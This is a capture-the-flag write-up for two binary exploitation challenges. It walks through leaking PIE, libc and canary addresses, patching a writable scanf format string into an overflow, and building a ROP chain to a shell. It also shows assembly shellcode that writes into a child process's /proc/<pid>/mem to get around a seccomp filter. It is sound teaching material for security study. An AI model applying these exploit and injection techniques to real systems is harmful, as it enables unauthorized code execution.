FL1TZ SummerRush CTF - PWN Writeups
Table of Contents
Complete writeups for the binary exploitation challenges from FL1TZ SummerRush CTF. This CTF featured two pwn challenges that showcased the following exploitation techniques: memory inspection with arbitrary read/write primitives, and seccomp bypass through process injection.
Inspector
The Inspector challenge presents a memory inspection and patching program with seemingly limited capabilities - but these limitations can be cleverly bypassed to achieve full code execution.
Discovery & Initial Analysis
The program provides two main functionalities:
- Memory inspection - Read arbitrary memory addresses
- Memory patching - Write a single byte to any memory location (limited to one use)
Key Vulnerabilities Identified
- Arbitrary Memory Read
The
inspect_value()
function allows reading from any memory address:
void inspect_value() {
unsigned long addr_input;
unsigned long value;
printf("Which address would you like to inspect? ");
scanf("%lu", &addr_input);
getc(stdin);
value = *(unsigned long*)addr_input;
printf("Address: %p | Value: %p\n", (void *)addr_input, (void*)value);
}
- Single Byte Write Anywhere
The
patch_value()
function provides a one-shot arbitrary write primitive:
void patch_value() {
unsigned long addr_input;
printf("Enter address to patch: ");
scanf("%lu", &addr_input);
getc(stdin);
uint8_t *target = (uint8_t *)addr_input;
// ... validation and single write
*target = (uint8_t)new_value;
}
- Critical Format String Location The most crucial vulnerability lies in this seemingly innocent line:
char fmt[] = "%d";
scanf(fmt, &option);
Unlike using a string literal directly in scanf("%d", &option)
, this declaration places the format string in the writable .data
section instead of the read-only .rodata
section.
- Input Handling Bug
The combination of
scanf()
andgetc(stdin)
creates an exploitable condition:
scanf("%lu", &addr_input);
getc(stdin);
When non-numeric input is provided to scanf()
, it fails to parse and leaves addr_input
unmodified, while getc(stdin)
consumes the invalid input from the buffer.
Exploitation Strategy
Step 1: Information Leakage via Input Handling Bug
The first step exploits the input handling bug to leak memory contents. When non-numeric input is provided to the address prompt, scanf()
fails but addr_input
retains its previous stack value:
def leak_pie():
view("x")
io.recvuntil(b'Address: ')
elf.address = int(io.recvuntil(b' ').strip(), 16) - 0x158f
log.success("base address: " + hex(elf.address))
This leaks a .text
section address, allowing calculation of the PIE base address.
Step 2: Defeating ASLR - Libc Leak
With PIE defeated, known addresses in the binary become accessible. The GOT (Global Offset Table) is targeted to leak libc addresses:
def leak_libc():
view(elf.got.puts)
io.recvuntil(b'Value:')
libc.address = int(io.recvline().strip(), 16) - 0x80e50
log.success("libc: " + hex(libc.address))
Step 3: Stack Leak and Canary Extraction
To perform a stack-based attack, stack canaries must be bypassed by:
- Reading
environ
- A libc symbol pointing to the environment variables on the stack - Calculating canary location - Using the known stack layout to find the canary
def leak_canary():
global canary
view(libc.sym.environ)
io.recvuntil(b'Value:')
canary_address = int(io.recvline().strip(), 16) - 0x2400
io.clean()
view(canary_address)
io.recvuntil(b'Value:')
canary = int(io.recvline().strip(), 16)
log.success("canary: " + hex(canary))
Step 4: The Critical Patch - Format String Modification
The single-byte write becomes crucial here. The format string fmt[]
is located in the writable .data
section:
char fmt[] = "%d";
In the main loop, this format string is used directly:
void main_loop() {
uint8_t option;
while (1) {
print_menu();
scanf(fmt, &option); // Uses our modifiable format string!
// ...
}
}
The format specifier can be modified from "%d"
to "%s"
by changing a single byte:
def override_fmt():
fmt_address = elf.address + 0x4010
patch(fmt_address+0x1, ord("s"))
This changes scanf(fmt, &option)
from scanf("%d", &option)
to scanf("%s", &option)
, creating a buffer overflow vulnerability!
Step 5: ROP Chain Execution
With the format string modified to "%s"
, buffer overflow becomes possible when inputting the "option". A ROP chain is constructed to spawn a shell:
def ropchain():
ret = elf.address + 0x15c0
pop_rdi = libc.address + 0x2a3e5
binsh = next(libc.search(b'/bin/sh\x00'))
pause()
payload = b'\x00'
payload += p64(canary)
payload += p64(0x0)
payload += p64(pop_rdi)
payload += p64(binsh)
payload += p64(ret)
payload += p64(libc.sym.system)
io.sendline(payload)
The payload structure:
- Null byte - Satisfies the
uint8_t option
variable - Canary value - Bypasses stack protection
- Saved RBP - Stack frame pointer
- ROP chain -
pop rdi; ret
→/bin/sh
→system()
Why Inspector Works
- Input Handling Bug: Allows leaking stack contents without knowing addresses initially
- Writable Format String: Poor coding practice places format string in writable memory
- Arbitrary Read/Write: Provides the primitives needed to gather information and modify the format string
- Single Byte Precision: One byte is sufficient to change the vulnerability class from limited read/write to full code execution
John McCarthy
The John McCarthy challenge presents a shellcode execution environment with severe seccomp restrictions, requiring creative process injection techniques to achieve code execution.
Discovery & Initial Analysis
The program allows shellcode input which it then executes, but applies a seccomp filter that severely restricts available syscalls:
scmp_filter_ctx ctx;
void setup_seccomp() {
ctx = seccomp_init(SCMP_ACT_KILL);
seccomp_rule_add(ctx, SCMP_ACT_ALLOW, SCMP_SYS(write), 0);
seccomp_rule_add(ctx, SCMP_ACT_ALLOW, SCMP_SYS(chdir), 0);
seccomp_rule_add(ctx, SCMP_ACT_ALLOW, SCMP_SYS(mprotect), 0);
seccomp_rule_add(ctx, SCMP_ACT_ALLOW, SCMP_SYS(open), 0);
seccomp_rule_add(ctx, SCMP_ACT_ALLOW, SCMP_SYS(chroot), 0);
seccomp_rule_add(ctx, SCMP_ACT_ALLOW, SCMP_SYS(brk), 0);
seccomp_rule_add(ctx, SCMP_ACT_ALLOW, SCMP_SYS(sigreturn), 0);
seccomp_rule_add(ctx, SCMP_ACT_ALLOW, SCMP_SYS(lseek), 0);
seccomp_rule_add(ctx, SCMP_ACT_ALLOW, SCMP_SYS(rt_sigprocmask), 0);
seccomp_load(ctx);
}
Notably missing are crucial syscalls like execve
(to spawn a shell) and read
(to read file contents directly).
The Key Insight: Fork Before Seccomp
The critical vulnerability lies in the execution order within the main()
function:
read_buf()
- reads shellcodestart_timer()
- forks a child processsetup_seccomp()
- applies the restrictive seccomp filter- Executes shellcode
The start_timer()
function creates a child process that runs in a loop, printing timer messages. Crucially, this fork happens before the seccomp filter is applied:
- The parent process (where shellcode runs) has the restrictive seccomp filter
- The child process (the timer) has no seccomp restrictions and can execute any syscall
Exploitation Strategy
Since direct shell spawning is impossible due to seccomp restrictions, but open
, lseek
, and write
syscalls are available:
- Leak the child process PID from memory
- Open
/proc/<child_pid>/mem
to access the child's memory - Overwrite the child's executable memory with shellcode
- Wait for the child to execute the injected shellcode
Exploitation Implementation
Step 1: Leaking the Child PID and Building the Path
payload = asm(f"""
lea r14, [rip-0x7]
lea r13, [r13-0x16ec]
lea rsi, [r13+0x4050]
mov rsi, [rsi]
xor rax, rax
mov eax, esi
lea rdi, [rsp-0x50]
add rdi, 10
mov rcx, rdi
.convert:
xor rdx, rdx
mov rbx, 10
div rbx
add dl, '0'
dec rdi
mov [rdi], dl
test rax, rax
jnz .convert
sub rdi, 8
mov rax, 0x2f2f2f636f72702f
mov [rdi], rax
mov rax, 0x6d656d2f
mov [rcx], rax
This portion:
- Saves payload address for later reference
- Calculates base address to navigate the binary's memory layout
- Leaks the child PID from a global variable
- Converts PID to string using decimal-to-ASCII conversion
- Builds the path
/proc/<pid>/mem
by constructing the string in memory
Step 2: Opening /proc/PID/mem and Injecting Shellcode
mov rax, 0x2
mov rsi, 0x1
mov rdx, 0x1b6
syscall
mov rdi, rax
lea rsi, [r13+{length}]
mov rdx, 0
mov rax, 8
mov r10, rdi
syscall
mov rdi, r10
mov rax, 0x1
lea rsi, [r14+{payload_padding}]
mov rdx, {shellcode_len}
syscall
.loop:
nop
jmp .loop
""")
This section:
- Opens
/proc/<child pid>/mem
using theopen
syscall - Seeks to offset 0x13fd in the child's memory using
lseek
- Writes shellcode to that location using
write
- Enters an infinite loop to keep the parent process alive
The address 0x13fd
is chosen as a location in the child's executable memory that will be executed when the child returns from its sleep()
call.
Why John McCarthy Works
- Timing: The child process runs in a loop, providing time to inject shellcode before execution
- Memory Layout:
/proc/<child pid>/mem
allows direct writing to the child's memory space - No Seccomp in Child: The child process has no syscall restrictions, so injected shellcode can call
execve
- Execution Flow: By overwriting memory at a strategic location, the child's execution is redirected to the shellcode
Was this helpful?